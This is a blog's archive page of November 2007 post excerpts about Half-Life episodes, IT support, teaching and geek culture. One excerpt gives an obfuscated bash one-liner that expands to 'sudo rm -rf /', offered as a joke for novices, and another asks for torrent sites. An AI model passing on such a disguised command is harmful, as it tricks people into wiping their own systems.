Monthly Archives: November 2007

Hopefully this might be one of my last Half Life themed posts. If you are bored or annoyed by these, I apologize, but in the last few weeks I played Portal, Episode One and Episode Two straight through, back to … Continue reading →

Quick note for those of you who use Gmail and rely on the comment subscription thingymajig to follow the discussions around here. There seems to be some weird bottleneck when relaying emails to gmail accounts, which seems to be affecting … Continue reading →

One of my users dropped off a WinXP desktop on my desk today, telling me that all his user accounts are gone and, the welcome screen is missing. Bit perplexed I hooked it up to a nearby monitor half expecting … Continue reading →

I have mixed feelings about episodic video games. So far, I think the only company that successfully exploited the episodic content idea is Valve with it’s Half Life 2 series. I think that there were other attempts from other companies, … Continue reading →

I noticed that a lot of people has this odd idea in their heads that the technology moves so fast we can barely keep up. The other day I was talking to someone who told me that he would never … Continue reading →

Here is another pet peeve of mine: artificially created ammunition scarcity in FPS games. It is a gameplay element a bit similar to the insurmountable waist height fence syndrome with respect to prevalence, annoyance factor and overall goal. What am … Continue reading →

The last few days I have been playing Half Life: Episode Two. I already briefly mentioned it before, but I wanted to do a more in depth review now that I finished it. I have to say one thing – … Continue reading →

My brother Ark owns bunch of Nerf guns that we occasionally use for an all out nerf war. His arsenal includes several Mavericks, a Longshot and a funky crossbow that I can’t find anywhere online. Since we are both Warhammer … Continue reading →

I said it before, and I’ll say it again. MySpace is the new Geocities. It’s the place where everyone takes their first steps in web design, creating very shitty looking pages. The default layout is a revolting abomination built with … Continue reading →

This really cracked me up. Apparently someone got fed up with asshole neighbors leaching off their wireless connection. So they did the only thing they could possibly do: I really find it incredible that this person had enough know-how to … Continue reading →

If you noticed general slowness and or occasional outages in the last few hours I apologize. I was busy eating a late lunch at work, which included a salad that contained lethal dose of garlic. Seriously, I could totally slay … Continue reading →

At this point I see basically two legitimate uses for telnet: mud’s and nethack. While both forms of entertainment are still popular, they are far from mainstream even in the geekier circles. They have mostly niche audiences, and general public … Continue reading →

Here is a somewhat interesting topic: how do you as a parent introduce your child to computers and technology? Let me preface this by saying that I have no children, and I don’t plan having any for quite some time. … Continue reading →

I was talking about different email protocols in the class, and I noticed that the difference between POP, IMAP and SMTP is absolutely irrelevant to my students. I asked students in both of my classes if they ever actually used … Continue reading →

I started playing Episode Two today. I was excited because Episode One was awesome so my expectations were high for this title. Unfortunately, my first impression was not a very good one. Immediately after launching the game, it would crash … Continue reading →

We already established that terminally incoherent readers love them some nethack. The nice thing about nethack is that it takes only few hundred kb on your drive, and provides you with endless tons of entertainment. But hell, you don’t even … Continue reading →

I approve of this project! I know it’s been on /. and on digg, and probably 16 other sites. I don’t care. I still want to talk about it, so deal with it. I’m sitting here wondering why I haven’t … Continue reading →

Here is my favorite bash script which can be used to teach noobs about bash syntax, man pages and the importance of backup at the same time: s=”r”; d=”$s”m; f=”$s”f; sudo $($d -$f /) If not on Ubuntu, just get … Continue reading →

My cousin got herself a nice HD TV, and I think she is giving me subtle hints that might want some kind of HD media player to go with it for Christmas. And when I say subtle hints I mean, … Continue reading →

Warning: the contents of this post may be extremely geeky. After watching Spiderman 3 I did some thinking, and I think Hollywood could really improve their track record with superhero movies by following few simple tips. I’m not a movie … Continue reading →

Let’s talk about the much debated topic of video game addiction. I think this odd phenomenon is slowly becoming a big social issue – mainly because people actually think it exists. I have no doubts about this, ladies and gentlemen, … Continue reading →

Yesterday I watched Spiderman 3, completely ignoring the warnings of friends, relatives and every single blog and review site that reviewed that movie. I knew the movie was pretty bad – I had no illusions about it. I went in … Continue reading →

Guess what I’ve been playing? Oh, wait – I already told you, didn’t I? My only complaint about the game is that it was to short. But I guess that’s why they called it “Half Life 2: Episode One” instead … Continue reading →

I actually have nothing to post today. I think I’m having a case of mild blogger block cause I’m really reaching for topics right now. What do you do when you sit at the keyboard and can’t think of a … Continue reading →

I need help locating the new heads of the unstoppable hydra that is Bittorrent. Since Demomoid, my primary source of all that is good was shut down again I need new places that have good stuff in high quality and … Continue reading →